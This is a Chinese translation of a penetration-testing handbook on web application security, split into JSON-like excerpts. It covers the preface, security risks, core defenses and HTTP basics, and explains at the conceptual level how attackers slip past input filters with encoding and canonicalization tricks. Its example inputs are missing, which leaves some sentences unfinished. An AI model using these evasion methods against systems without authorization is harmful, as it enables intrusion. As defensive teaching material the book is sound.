Ryan Sneed 封面图像 Wiley InHouse Design 垂直网站项目经理 Laura Moss-Hollister 垂直网站项目经理助理 Jenny Swisher 垂直网站制作助理 Josh Frank Shawn Patrick Doug Kuhn Marilyn Hummel 黑客攻防技术宝典：Web实战篇（第2版） 致 谢 感谢Next Generation Security Software公司经理和其他同事，他们为我们提供了适当的环境，为撰写第1版提供了大力支持。除了他们，对于与我们共享观点和帮助我们了解当前面临的Web应用程序安全问题的更多研究员和专业人士，我们在此表示衷心感谢，是你们给了我们写作灵感。本书是一本实用手册，而非学术作品，因此我们尽量避免在书中过多引用讨论相关问题的重要论文、参考书和博客文章。一些作者在此并未提及，还望他们海涵。 感谢Wiley出版社的员工，特别感谢Carol Long在整个项目期间提供的热心支持；感谢Adaobi Obi Tulton帮助我们修订手稿和了解“美式英语”的怪癖；感谢Gayle Johnson所做的极其有益而细心的文字编辑工作；感谢Katie Wisor团队提供的一流制作。 尤其感谢我们的合作伙伴Becky和Amanda，感谢你们投入大量时间与精力帮助我们完成这本“大部头”作品。 对于引导我们从事这个行业的人们，我们在此表示感谢。 衷心感谢Martin Law，正是他首先教会我如何实施攻击，并鼓励我投入精力开发针对应用程序进行攻击测试的技巧与工具。 ——Dafydd 衷心感谢我的父母，感谢他们为我付出的一切，也是他们让我对计算机产生兴趣，从此我就迷上了计算机。 ——Marcus"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 译 者 序 自本书第1版出版以来，Web安全状态发生了很大变化，虽然随着人们安全意识的提高，一些漏洞已经得到修复，但随着各种新技术不断涌现，特别是Web 2.0、HTML5、无线互联网以及云服务的推出，Web应用程序的安全将面临更大的挑战。为帮助用户应对这些挑战，本书的两位作者对第1版的内容进行了修订，新增了约30%的内容，主要介绍Web安全领域的新趋势及大量新近出现的漏洞。 从第1版的读者反响来看，大多数读者认为本书内容较深，不太适合初学者学习。诚然，两位作者都是Web安全领域的资深专家，本书更是他们多年职业生涯的智慧结晶。因此，建议读者更多关注书中介绍的基本理论及作者考虑问题的角度，而不是具体的渗透测试方法。 应一些读者的要求，我们推出了书中问题答案的中文版，感兴趣的读者可以访问译者的博客（http://blog.sina.com.cn/s/blog_545eb7860101379s.html）或图灵社区本书页面（http://www.ituring.com.cn/book/885）。 由于本书涉及内容非常广泛，加之译者水平所限，书中难免存在疏漏甚至错误，译者在此恳请读者谅解并指正。 最后，向朱巍、刘美英等诸位编辑表示感谢，谢谢你们的无私帮助。还要感谢我的家人，感谢你们的默默支持。 石华耀 2012年5月20日 黑客攻防技术宝典：Web实战篇（第2版） 前 言 本书是发现并利用Web应用程序安全漏洞的实用指南。这里的“Web应用程序”是指通过使用Web浏览器与Web服务器进行通信，从而加以访问的应用程序。本书不仅分析了大量各种各样的技术，如数据库、文件系统与Web服务器，而且讨论了它们在Web应用程序中的使用情况。 如果你想了解如何运行端口扫描、攻击防火墙或以其他方式对服务器进行渗透测试，我们建议你阅读其他图书。但是，如果你希望了解渗透测试员如何攻击Web应用程序、窃取敏感数据、执行未授权操作，那么本书可以满足你的需要。本书将就以上主题展开全面而翔实的讨论。 黑客攻防技术宝典：Web实战篇（第2版） 本书概述 本书极其注重实用性。虽然我们提供了足够的背景信息与理论知识，以帮助读者了解Web应用程序中包含的漏洞；但是，渗透测试员在攻击Web应用程序时所需要实施的步骤及采用的技巧，才是我们讨论的重点所在。本书详细阐述了探查每一种漏洞所需采用的特定步骤，以及如何利用它执行未授权操作。我们还根据多年的工作经验，列出大量实例，说明在当今Web应用程序中存在的各种安全漏洞。 另一方面，安全意识就像一把双刃剑。开发者能够从了解攻击者所使用的方法中受益；相反，黑客也可以通过了解应用程序的防御机制而窥探它的受攻击面。除介绍安全漏洞与攻击技巧外，我们还将详细介绍应用程序为抵御攻击者而采取的应对措施。同时，Web应用程序渗透测试员还可以从本书中获得大量实用的建议，以帮助应用程序所有者强化他们的应用程序。 黑客攻防技术宝典：Web实战篇（第2版） 本书目标读者 本书的目标读者是Web应用程序渗透测试员，以及负责开发和管理Web应用程序的人，因为了解你的敌人有助于对他们进行有效防御。 我们希望读者熟悉核心安全概念，如登录和访问控制；并希望读者掌握基本的核心Web技术，如浏览器、Web服务器和HTTP。通过阅读本书提供的解释说明或其他参考资料，可以迅速弥补当前读者在这些领域的知识欠缺。 在介绍各种安全漏洞的过程中，我们将提供代码片断，说明应用程序为何易受攻击。这些示例都非常简单，不需要事先了解编写代码的语言就能够理解它们，但是，具备阅读或编写代码的基础知识就再好不过了。"},
    {"text": "我们根据实施全面攻击所需要完成的关键任务组织材料，这些任务依次为：解析应用程序的功能，检查和攻击它的核心防御机制，探查特殊类型的安全漏洞。"},
    {"text": "这一章将分析造成当今应用程序安全状况不佳的关键因素，并说明Web应用程序中存在的缺陷如何导致组织庞大的技术基础架构非常易于受到攻击。"},
    {"text": "第4章描述渗透测试员在攻击一个新的应用程序时所需采取的第一步，即尽可能多地收集与应用程序有关的信息，以确定它的受攻击面，制订攻击计划。"},
    {"text": "如果一个应用程序依靠在客户端实现的控件来保护它的安全，就可能造成这种漏洞。 这种保护应用程序的方法往往存在缺陷，因为攻击者可轻易避开任何客户端控件。 应用程序易于受到攻击的原因有两个：（1）通过客户端传送数据，认为这些数据不会被修改；"},
    {"text": "对于每一种漏洞和攻击技巧，我们将描述3种常用数据库（MS-SQL、Oracle和MySQL）之间的相关差异，然后介绍一系列针对其他数据存储（包括NoSQL、XPath和LDAP）的类似攻击。"},
    {"text": "第10章介绍几种其他类型的注入漏洞，包括注入操作系统命令，注入Web脚本语言，文件路径遍历攻击，文件包含漏洞，注入XML、SOAP、后端HTTP请求和电子邮件服务。"},
    {"text": "第12章和第13章介绍一类广泛存在且广受关注的相关漏洞，即应用程序的恶意用户利用Web应用程序中的缺陷攻击其他用户，并以各种方式攻破这些用户。 第12章介绍这中最主要的漏洞——一种影响因特网上的绝大多数Web应用程序的广泛存在的漏洞。"},
    {"text": "第13章介绍针对其他用户的几种其他类型的攻击，包括通过请求伪造和UI伪装诱使用户执行操作、使用各种客户端技术跨域获取数据、各种针对同源策略的攻击、HTTP消息头注入、cookie注入和会话固定、开放式重定向、客户端SQL注入、本地隐私攻击以及利用ActiveX控件中的漏洞。"},
    {"text": "由于每种应用程序都各不相同，大多数攻击都经过某种方式的定制（或自定义），以针对应 用程序的特殊行为，以及发现对攻击有利的操纵方法。"},
    {"text": "这个主题涉及的内容非常广泛，我们将重点讨论如何在Web应用程序中探查这些漏洞，并分析一些实例，了解造成这些漏洞的原因，以及如何对它们加以利用。"},
    {"text": "许多应用程序采用一种分层架构，无法恰当地隔离这些层面可能会导致应用程序易于受到攻击，导致攻击者能够利用在其中一个组件中发现的漏洞迅速攻破整个应用程序。"},
    {"text": "共享托管环境带来另外一些严重的威胁，有时，攻击者可以利用一个应用程序中存在的缺陷或恶意代码攻破整个环境及其中运行的其他应用程序。"},
    {"text": "因此，本书介绍针对Web服务器的攻击，因为攻击者常常可以利用它们直接攻破一个应用程序，而不是首先间接攻破基础主机，然后再攻击Web应用程序。"},
    {"text": "今天应用程序采用的技术早在许多年前就已经确立，现今的先进攻击技术所蕴涵的基本概念也早在高效应用这些技术的许多研究人员出生之前就已经成形。"},
    {"text": "Web应用程序安全是一个动态且充满活力的研究领域，但多年来，人类积累的智慧也在缓慢进化，因此，当前的技术状况与10年或更久以前的情况截然不同。"},
    {"text": "具体来说，基本上重新编写了有关浏览器扩展技术的几节内容，详细介绍了反编译和调试字节码的常规方法、如何处理常规格式的序列化数据，以及如何处理渗透测试过程中遇到的常见问题，包括不支持代理的客户端和SSL问题。"},
    {"text": "有关如何避开防御过滤以插入脚本代码的内容已完全重写，主要介绍一些新技术和新技巧，包括在当前浏览器中执行脚本代码的各种鲜为人知的方法。"},
    {"text": "新增一节内容介绍了如何在充满挑战的情况下实施有效的XSS攻击，涵盖如何将攻击扩散到所有应用程序页面、如何通过cookie和Referer消息头利用XSS，以及如何在XML等非标准请求和响应内容中利用XSS。"},
    {"text": "跨域捕获数据一节（13.2节）将介绍如何通过注入包含非脚本HTML和CSS的文本来窃取数据的技巧，以及各种使用JavaScript和E4X跨域捕获数据的技巧。"},
    {"text": "第17章中的新增节主要介绍基于云的体系架构中的漏洞，并更新了有关如何利用体系架构弱点的示例。 第18章包含在应用程序服务器和平台中发现的一些有趣的新漏洞示例。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 需要的工具 本书着重讨论渗透测试员在攻击Web应用程序时所采用的实用技巧。阅读本书后，你将了解每项攻击任务的细节、它们涉及的技术以及它们为什么有助于探查和利用各种漏洞。下载某个工具，使用它攻击一个目标应用程序，并根据它的输出结果了解应用程序的安全状况，这些内容并不是本书讨论的重点。 也就是说，当实施我们描述的步骤与技巧时，你会发现一些有用、有时甚至是必不可少的工具。所有这些工具都可以在因特网上找到，建议你下载并试用本书介绍的每一个工具。 黑客攻防技术宝典：Web实战篇（第2版） 同步网站内容 本书的同步网站为http://mdsec.net/wahh，你还可以从www.wiley.com/go/webhackerze链接到本书的同步网站，其上提供一些掌握各种攻击技巧所需要的有用资源，你也可以利用这些资源攻击真实的应用程序。该网站主要包括以下内容： 本书列出的一些脚本的源代码； 本书讨论的所有工具和其他资源的链接； 攻击一个常见应用程序的步骤列表； 每章结束部分提出的问题的答案； 本书示例中使用的几百个互动式漏洞“实验室”，支付一定费用即可访问，可帮助你提升和改善攻击技巧。 黑客攻防技术宝典：Web实战篇（第2版） 其他说明 Web应用程序安全是一个有趣而流行的主题。对我们而言，撰写本书是一种享受，正如每天对应用程序进行渗透测试。我们希望，在学习本书描述的各种攻击技巧和了解如何防御这些攻击手段的过程中，你能够找到乐趣。 此外，我们在此提出严正警告。在许多国家，未经所有者许可而攻击他们的计算机系统的做法属非法行为。如果未经他人同意，执行我们描述的绝大多数技巧可能会触犯法律。 本书作者为专业的渗透测试员，他们代表客户端对Web应用程序实施攻击，以帮助强化应用程序的安全。近年来，许多安全专业人士与其他人由于未经许可而尝试或主动攻击计算机系统，从而犯罪，其职业生涯也因此结束。我们强烈要求你仅在法律许可的范围内使用本书提供的信息。 黑客攻防技术宝典：Web实战篇（第2版） 第1章 Web应用程序安全与风险 W eb应用程序安全无疑是当务之急，也是值得关注的话题。对相关各方而言，这一问题都至关重要。这里的相关各方包括因特网业务收入日益增长的公司、向Web应用程序托付敏感信息的用户，以及通过窃取支付信息或入侵银行账户偷窃巨额资金的犯罪分子。可靠的信誉也非常重要，没人愿意与不安全的Web站点进行交易，也没有组织愿意披露有关其安全方面的漏洞或违规行为的详细情况。因此，获取当前Web应用程序安全状况的可靠信息不可小视。 本章简要介绍Web应用程序的发展历程及它们提供的诸多优点，并且列举我们亲身体验过的在目前Web应用程序中存在的漏洞，这些漏洞表明绝大多数应用程序还远远不够安全。本章还将描述Web应用程序面临的核心安全问题（即用户可提交任意输入的问题），以及造成安全问题的各种因素。最后讨论Web应用程序安全方面的最新发展趋势，并预测其未来的发展方向。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 1.1 Web应用程序的发展历程 在因特网发展的早期阶段，万维网（World WideWeb）仅由Web站点构成，这些站点基本上是包含静态文档的信息库。"},
    {"text": "如今，使用计算机浏览器访问的应用程序的功能越来越多地与使用智能手机或平板电脑访问的移动应用程序的功能重叠。 大多数移动应用程序都通过浏览器或定制客户端与服务器进行通信，这些浏览器或客户端大多使用基于HTTP的API。"},
    {"text": "为降低成本，组织逐渐将各种任务外包给外部服务提供商来完成，因此，在上述所有示例中，我们所认为的“内部”应用程序正日益由外部机构托管。"},
    {"text": "这一问题涉及的情况包括：应用程序无法为数据和功能提供全面保护，攻击者可以查看其他用户保存在服务器中的敏感信息，或者执行特权操作。"},
    {"text": "攻击者可通过这一漏洞提交专门设计的输入，干扰应用程序与后端数据库的交互活动。 攻击者能够从应用程序中提取任何数据、破坏其逻辑结构，或者在数据库服务器上执行命令。"},
    {"text": "利用这种漏洞，攻击者可以诱使用户在无意中使用自己的用户权限对应用程序执行操作。 恶意Web站点可以利用该漏洞，通过受害用户与应用程序进行交互，执行用户并不打算执行的操作。"},
    {"text": "但SSL并不能抵御直接针对某个应用程序的服务器或客户端组件的攻击，而许多成功的攻击都恰恰属于这种类型。 特别需要指出的是，SSL并不能阻止上述任何漏洞或许多其他使应用程序受到威胁的漏洞。 无论是否使用SSL，大多数Web应用程序仍然存在安全漏洞。"},
    {"text": "应用程序必须假设所有输入的信息都是恶意的输入，并必须采取措施确保攻击者无法使用专门设计的输入破坏应用程序干扰其逻辑结构与行为，并最终达到非法访问其数据和功能的目的。"},
    {"text": "1.2.3 关键问题因素 任何情况下，如果一个应用程序必须接受并处理可能为恶意的未经验证的数据，就会产生Web应用程序面临的核心安全问题。"},
    {"text": "1．不成熟的安全意识 近年来，人们对Web应用程序安全问题的意识有所增强，但与网络和操作系统这些发展更加完善的领域相比，人们对Web应用程序安全问题的意识还远不够成熟。 虽然大多数IT安全人员掌握了相当多的网络安全与主机强化基础知识，但他们对与Web应用程序安全有关的许多核心概念仍然不甚了解，甚至存有误解。"},
    {"text": "近年来出现了一种显著趋势，即使用提供现成代码组件的应用程序框架来处理各种常见的功能，这些功能包括身份验证、页面模板、公告牌以及与常用后端基础架构组件的集成，等等。"},
    {"text": "4．迅速发展的威胁形势 Web应用程序攻击与防御研究发展相对不成熟，是一个正蓬勃发展的领域，其中新概念与威胁出现的速度比传统的技术要快得多。"},
    {"text": "以前，应用程序设计人员可以仅仅通过用户名和密码来创建登录功能，而现今的站点则包含密码恢复、用户名恢复、密码提示，以及在将来访问时记住用户名和密码的选项。"},
    {"text": "Web应用程序的广泛应用使得典型组织的安全边界发生了变化。 部分安全边界仍旧关注防火墙与防御主机，但大部分安全边界更加关注组织所使用的Web应用程序。"},
    {"text": "Web应用程序接收用户输入的方式多种多样，将这些数据传送至敏感后端系统的方式也多种多样，这些都是一系列攻击的潜在关口，因此必须在应用程序内部执行防御措施，以阻挡这些攻击。"},
    {"text": "在银行使用Web应用程序之前，攻击者可能需要发现公共服务中存在的漏洞，并利用其进入银行的DMZ，穿透限制访问其内部系统的防火墙，在网络上搜索确定大型计算机，破译用于访问它的秘密协议，然后推测某些证书以进行登录。 但是，如果银行使用易受攻击的Web应用程序，那么攻击者可能只需修改隐藏的HTML表单字段中的一个账号，就可以达到这一目的。"},
    {"text": "Web应用程序安全边界发生变化的另一原因，在于用户本身在访问一个易受攻击的应用程序时面临的威胁。 恶意攻击者可能会利用一个良性但易受攻击的Web应用程序攻击任何访问它的用户。 如果用户位于企业内部网络，攻击者可能会控制用户的浏览器，并从用户的可信位置向本地网络发动攻击。"},
    {"text": "当前，大量应用程序都包含“忘记密码”功能，攻击者可以利用该功能向任何注册地址发送账户恢复电子邮件，而无须任何其他用户特定的信息。"},
    {"text": "而且，现有的漏洞也变得更难以发现和利用。 几年前只需使用浏览器就能够轻易探测与利用的小漏洞，现在需要花费大量精力开发先进技术来发现。"},
    {"text": "后一类攻击仍然需要利用应用程序本身的缺陷，但这类攻击一般要求与其他用户进行某种形式的交互，以达到破坏用户与易受攻击的应用程序之间交易的目的。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 1.3 小结 大约十几年的时间，万维网已由纯粹的静态信息仓库发展为功能强大的应用程序，能够处理敏感的数据并执行用于输出实际结果的高度功能化的应用程序。在这个发展过程中，多种因素造成了当前绝大多数Web应用程序所面临的安全保护不足的状况。 多数应用程序都面临一个核心安全问题，即用户可提交任意输入。用户与应用程序交互的每一个方面都可能是恶意的，而且在未能证明其并无恶意之前应该被认定为是恶意的。如果这个问题处理不当，应用程序就有可能受到各种形式的攻击。 当前Web应用程序安全状况的所有证据表明，这个问题尚未得到很好的解决，而且不管是对部署Web应用程序的组织还是对访问它们的用户而言，针对Web应用程序的攻击都是一个严重的威胁。 黑客攻防技术宝典：Web实战篇（第2版） 第2章 核心防御机制 W eb应用程序的基本安全问题（所有用户输入都不可信）致使应用程序实施大量安全机制来抵御攻击。尽管其设计细节与执行效率可能千差万别，但几乎所有应用程序采用的安全机制在概念上都具有相似性。 Web应用程序采用的防御机制由以下几个核心因素构成。 处理用户访问应用程序的数据与功能，防止用户获得未授权访问。 处理用户对应用程序功能的输入，防止错误输入造成不良行为。 防范攻击者，确保应用程序在成为直接攻击目标时能够正常运转，并采取适当的防御与攻击措施挫败攻击者。 管理应用程序本身，帮助管理员监控其行为，配置其功能。 鉴于它们在解决核心安全问题过程中所发挥的重要作用，一个典型应用程序的绝大多数受攻击面 [1] 也由这些机制构成。知己知彼是战争的首要法则，那么防御攻击者向应用程序发动有效攻击的重要前提是彻底了解这些机制。无论读者在渗透测试方面是否有经验，都应花时间了解这些核心机制在遇到的每一种应用程序中的工作原理，并确定使其易于受到攻击的弱点。"},
    {"text": "虽然许多应用程序使用隐藏表单字段（hidden form field）或URL查询字符串（query string）传送会话令牌（session token），但HTTP cookie才是实现这一目的的常规方法。"},
    {"text": "图2-2 一个实施会话超时的应用程序 就受攻击面而言，会话管理机制的有效性基本上取决于其令牌的安全性，绝大多数针对它的攻击都企图攻破其他用户的令牌。"},
    {"text": "通常由用户注册功能执行的输入确认如图2-4所示。 图2-4 应用程序正执行输入确认 在许多情况下，应用程序可能会对一些特殊的输入实行非常严格的确认检查。"},
    {"text": "除了用户通过浏览器界面提交的各种输入外，一个典型的应用程序还会收到大量数据，它们在服务器上生成，并被传送给客户端，以便客户端能够在随后的请求中将其返回给服务器。"},
    {"text": "而且，如果应用程序发现服务器上生成的数据遭到修改，并且使用标准浏览器的普通用户根本不可能进行此类修改，那么极有可能是该用户正企图探查应用程序的漏洞。"},
    {"text": "2.2.2 输入处理方法 通常可采用各种方法来处理用户输入。 不同的方法一般适用于不同的情形与不同类型的输入，有时最好结合采用几种方法。"},
    {"text": "由于在托管和非托管情况下处理字符串的方式各不相同，在被阻止的表达式之前的任何位置插入空字节可能导致某些过滤器停止处理输入，并因此无法确定表达式。"},
    {"text": "5．语法检查 迄今为止，本书描述的防御措施全都用于防止应用程序接受各种错误的输入，攻击者专门设计这些输入的内容以干扰应用程序的处理过程。"},
    {"text": "基于应用程序所执行功能的广泛性以及其所采用技术的多样性，一个典型的应用程序需要防御大量各种各样的基于输入的攻击，且每种攻击可能采用一组截然不同的专门设计的数据。"},
    {"text": "例如，为防御某些跨站点脚本攻击，应用程序可能会从任何用户提交的数据中删除表达式： 但攻击者可通过应用以下输入避开过滤器： 由于过滤无法递归运行，删除被阻止的表达式后，表达式周围的数据又合并在一起，重新建立恶意表达式。"},
    {"text": "例如，如果应用程序首先递归删除..\\，然后递归删除..\\，就可以使用以下输入避开确认检查： 数据规范化（data canonicalization）会造成另一个问题。"},
    {"text": "但是，如果应用程序随后对净化后的数据进行规范化，那么攻击者就可以使用URL编码的输入避开确认： 收到该输入后，应用程序服务器会执行正常的URL解码，因此该输入变为： 其中并不包含省略号，因此，应用程序的过滤器允许该输入。 但是，如果应用程序执行进一步的URL解码，该输入将变为省略号，从而避开过滤。 如果应用程序删除而不是阻止省略号，然后执行进一步的规范化，则可以使用以下输入避开过滤： 值得注意的是，在这些情况下，应用程序服务器端不一定会执行多步确认和规范化。 例如，在下面的输入中，几个字符已被HTML编码： 如果服务器端应用程序使用输入过滤来阻止某些JavaScript表达式和字符，该已编码的输入就可以成功避开过滤。"},
    {"text": "除了供Web应用程序使用的标准编码方案外，其他情况下，如果应用程序采用的组件将数据从一个字符集转换为另一个字符集，这也会导致规范化问题。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 2.3 处理攻击者 任何设计安全应用程序的开发人员必须基于这样一个假设：应用程序将成为蓄意破坏且经验丰富的攻击者的直接攻击目标。"},
    {"text": "能够以受控的方式处理并应对这些攻击，是应用程序安全机制的一项主要功能。 这些机制通常结合使用一系列防御与攻击措施，以尽可能地阻止攻击者，并就所发生的事件，通知应用程序所有者以及提供相应的证据。"},
    {"text": "有些情况下，攻击者能够利用存在缺陷的错误处理方法从错误消息中获得敏感信息； 此时，错误消息成为攻击者从应用程序中窃取数据的重要渠道。"},
    {"text": "2.3.2 维护审计日志 审计日志（audit log）在调查针对应用程序的入侵尝试时会发挥很大作用。 发生入侵后，有效的审计日志功能应能够帮助应用程序所有者了解实际发生的情况，如哪些漏洞（如果有）被加 以利用，攻击者是否可以对数据进行非法访问或执行任何未授权的操作，并尽可能地提供侵入者的身份信息。"},
    {"text": "许多安全性至关重要的应用程序（如电子银行使用的应用程序）会完整记录客户端提出的每一个请求，这样可为任何事故调查提供全面的司法记录。"},
    {"text": "在受攻击面方面，保护不严密的审计日志可能为攻击者提供大量信息，向其披露许多敏感信息，如会话令牌和请求参数，这些信息可能会使攻击者能够立即攻破整个应用程序（见图2-7）。 图2-7 保护不严密、包含其他用户提交的敏感信息的应用程序日志 2.3.3 向管理员发出警报 审计日志可帮助应用程序所有者调查入侵企图，如有可能，应对侵入者采取法律行动。"},
    {"text": "然而，与这种攻击相比，许多攻击往往更加隐蔽，例如修改隐藏表单字段中的账号来访问其他用户的数据，或者提交无序请求以利用应用程序逻辑中存在的缺陷。"},
    {"text": "例如，如果认为cookie中包含一组特殊值中的某个值，那么任何违反这种情况的现象即表明该值已被修改，而且应用程序的普通用户无法执行此类修改。"},
    {"text": "因为已经根据应用程序的实际逻辑定制这些检查，如果清楚了解普通用户的操作权限，那么不管任何现有的解决方案多么易于配置，与之相比，它们都能提供更加准确的警报。"},
    {"text": "由于应用程序各不相同，现实世界中的许多攻击要求攻击者系统地探查应用程序中存在的漏洞，提交无数包含专门设计的输入请求，以确定其中是否存在各种常见的漏洞。"},
    {"text": "有鉴于此，一些应用程序采取自动反应措施阻止攻击者进行这种形式的探查，例如对攻击者提交的请求的响应速度变得越来越慢，或者终止攻击者的会话，要求其重新登录或在继续攻击前执行其他步骤。"},
    {"text": "虽然这些措施无法阻挡最有耐心和决心的攻击者，但能够阻止许多很随意的攻击者，并且为管理员监控此类情况、在必要时采取更加严厉的措施赢得时间。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 2.4 管理应用程序 任何有用的应用程序都需要进行管理与维护，这种功能通常是应用程序安全机制的一个重要组成部分，可帮助管理员管理用户账户与角色、应用监控与审计功能、执行诊断任务并配置应用程序的各种功能。 许多应用程序一般通过相同的Web界面在内部执行管理功能，这也是它的核心非安全功能，如图2-8所示。在这种情况下，管理机制就成为应用程序的主要受攻击面。它吸引攻击者的地方主要在于它能够提升权限，以下举例说明。 图2-8 Web应用程序中的管理界面 身份验证机制中存在的薄弱环节使攻击者能够获得管理员权限，迅速攻破整个应用程序。 许多应用程序并不对它的一些管理功能执行有效的访问控制。利用这个漏洞，攻击者可以建立一个拥有强大特权的新用户账户。 管理功能通常能够显示普通用户提交的数据。管理界面中存在的任何跨站点脚本缺陷都可能危及用户会话的安全。 因为管理用户被视为可信用户，或者由于渗透测试员只能访问低权限的账户，所以管理功能往往没有经过严格的安全测试。而且，它通常需要执行相当危险的操作，包括访问磁盘上的文件或操作系统命令。如果一名攻击者能够攻破管理功能，就能利用它控制整个服务器。 黑客攻防技术宝典：Web实战篇（第2版） 2.5 小结 尽管存在巨大差异，但几乎所有的Web应用程序都以某种形式采用相同的核心安全机制。这些机制是应用程序应对恶意用户所采取的主要防御措施，因而应用程序的受攻击面大部分也由它们构成。我们在本书后面介绍的漏洞也主要源于这些核心机制中存在的缺陷。 在这些机制中，处理用户访问和用户输入的机制是最重要的机制。当针对应用程序发动攻击时，它们将成为主要攻击对象。利用这些机制中存在的缺陷通常可以完全攻破整个应用程序，使攻击者能够访问其他用户的数据、执行未授权操作以及注入任意代码和命令。 黑客攻防技术宝典：Web实战篇（第2版） 2.6 问题 欲知问题答案，请访问http://mdsec.net/wahh [2] 。 （1）为什么说应用程序处理用户访问的机制是所有机制中最薄弱的机制？ （2）会话与会话令牌有何不同？ （3）为何不可能始终使用基于白名单的方法进行输入确认？ （4）攻击者正在攻击一个执行管理功能的应用程序，并且不具有使用这项功能的任何有效证书。为何他仍然应当密切关注这项功能呢？ （5）旨在阻止跨站点脚本攻击的输入确认机制按以下顺序处理一个输入： （a）删除任何出现的<script>表达式； （b）将输入截短为50个字符； （c）删除输入中的引号； （d）对输入进行URL解码； （e）如果任何输入项被删除，返回步骤（1）。 是否能够避开上述确认机制，让以下数据通过确认？ [1] 在软件环境中，受攻击面（attack surface）是指对未通过验证的用户的有效功能；也就是说，未通过验证的用户通过软件的默认配置能够达到什么目的。——译者注 [2] 答案的中文版请参阅图灵社区本书页面（http://www.ituring.com.cn/book/885)，或http://blog.sina.com.cn/s/blog_545eb7860101379s.html。——译者注 黑客攻防技术宝典：Web实战篇（第2版） 第3章 Web应用程序技术 W eb应用程序使用各种不同的技术实现其功能。本章简要介绍渗透测试员在攻击Web应用程序时可能遇到的关键技术。我们将分析HTTP协议、服务器和客户端常用的技术以及用于在各种情形下呈现数据的编码方案。这些技术大都简单易懂，掌握其相关特性对于向Web应用程序发动有效攻击极其重要。 如果读者已经熟悉Web应用程序所使用的关键技术，可以快速浏览本章内容，确定其中没有不了解的技术。如果还在学习Web应用程序的工作原理，那么在继续阅读分析特殊漏洞的后续章节前，应当先阅读本章内容。为了进一步学习本书后续章节涉及的内容，我们推荐读者阅读David Gourley和Brian Totty合著的 HTTP: The Definitive Guide 一书（O'Reilly，2002），也可在万维网联盟网站（www.w3.02g）上阅读电子版。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 3.1 HTTP HTTP（HyperText Transfer Protocol，超文本传输协议）是访问万维网使用的核心通信协议，也是今天所有Web应用程序使用的通信协议。"},
    {"text": "最初，HTTP只是一个为获取基于文本的静态资源而开发的简单协议，后来人们以各种形式扩展和利用它，使其能够支持如今常见的复杂分布式应用程序。 HTTP使用一种基于消息的模型：客户端送出一条请求消息，而后由服务器返回一条响应消息。 该协议基本上不需要连接，虽然HTTP使用有状态的TCP协议作为它的传输机制，但每次请求与响应交换都自动完成，并且可能使用不同的TCP连接。 3.1.1 HTTP请求 所有HTTP消息（请求与响应）中都包含一个或几个单行显示的消息头（header），然后是一个强制空白行，最后是消息主体（可选）。 以下是一个典型的HTTP请求： 每个HTTP请求的第一行都由3个以空格间隔的项目组成。"},
    {"text": "Host消息头用于指定出现在被访问的完整URL中的主机名称。 如果几个Web站点以相同的一台服务器为主机，就需要使用Host消息头，因为请求第一行中的URL内通常并不包含主机名称（请参阅第17章了解更多与虚拟主机Web站点有关的信息）。"},
    {"text": "几乎所有的HTTP响应在消息头后的空白行下面都包含消息主体，Content-Type消息头表示这个消息主体中包含一个HTML文档。 Content-Length消息头规定消息主体的字节长度。"},
    {"text": "这使用户可将一个包含动态资源的URL标注为书签，用户自己或其他用户随后可重复利用该书签来获取等价的资源（作用与标注为书签的搜索查询相似）。"},
    {"text": "因为POST方法旨在执行操作，如果用户单击浏览器上的“后退”按钮，返回一个使用这种方法访问的页面，那么浏览器不会自动重新发送请求，而是就即将发生的操作向用户发出警告，如图3-1所示。"},
    {"text": "图3-1 浏览器不会自动重新发送用户提出的POST请求，因为这样做会导致多次执行某一操作 除了GET和POST方法以外，HTTP协议还支持许多其他因特殊目的而建立的方法。"},
    {"text": "用于生成前面的HTTP请求的URL为： 除这种绝对形式外，还可以相对某一特殊主机或主机上的一个特殊路径指定URL，例如： Web页面常常使用这些相对形式描述Web站点或应用程序中的导航。"},
    {"text": "注解 URL的正确技术术语实际为URI（Uniform Resource Identifier，统一资源标识符），但这一术语仅用于正式规范中，或者被那些希望炫耀学识的人所使用。"},
    {"text": "虽然在查询字符串中包含参数的URL本身遵循REST约束，但“REST风格的URL”一词通常指在URL文件路径而非查询字符串中包含参数的URL。 例如，下面这个包含查询字符串的URL： 与以下包含“REST风格”参数的URL相对应： 在第4章中，我们将讨论如何在解析应用程序的内容和功能、以及确定其受攻击面时处理这些不同风格的参数。"},
    {"text": "与其他类型的请求参数（存在于URL查询字符串或消息主体中）不同，无须应用程序或用户采取任何特殊措施，随后的每一个请求都会继续重新向服务器提交cookie。 如前所述，服务器使用Set-Cookie响应消息头发布cookie: 然后，用户的浏览器自动将下面的消息头添加到随后返回给同一服务器的请求中： 如上所示，cookie一般由一个名/值对构成，但也可包含任何不含空格的字符串。 可以在服务器响应中使用几个Set-Cookie消息头发布多个cookie，并可在同一个Cookie消息头中用分号分隔不同的cookie，将它们全部返回给服务器。 除cookie的实际值外，Set-Cookie消息头还可包含以下任何可选属性，用它们控制浏览器处理cookie的方式。"},
    {"text": "用于设定cookie的有效时间。 这样会使浏览器将cookie保存在永久性的存储器中，在随后的浏览器会话中重复利用，直到到期时间为止。 如果没有设定这个属性，那么cookie仅用在当前浏览器会话中。"},
    {"text": "3.1.9 HTTPS HTTP使用普通的非加密TCP作为其传输机制，因此，处在网络适当位置的攻击者能够截取这个机制。 HTTPS本质上与HTTP一样，都属于应用层协议，但HTTPS通过安全传输机制——安全套接层（Secure Socket Layer，SSL）——传送数据。"},
    {"text": "3.1.10 HTTP代理 HTTP代理服务器是一个协调客户端浏览器与目标Web服务器之间访问的服务器。 当配置浏览器使用代理服务器时，它会将所有请求提交到代理服务器，代理服务器再将请求转送给相关Web服务器，并将响应返回给浏览器。"},
    {"text": "当浏览器向代理服务器发布HTTP请求时，它会将完整的URL（包括协议前缀http://与服务器主机名称，在非标准URL中，还包括端口号）插入请求中。 代理服务器将提取主机名称和端口，并使用这些信息将请求指向正确的目标Web服务器。"},
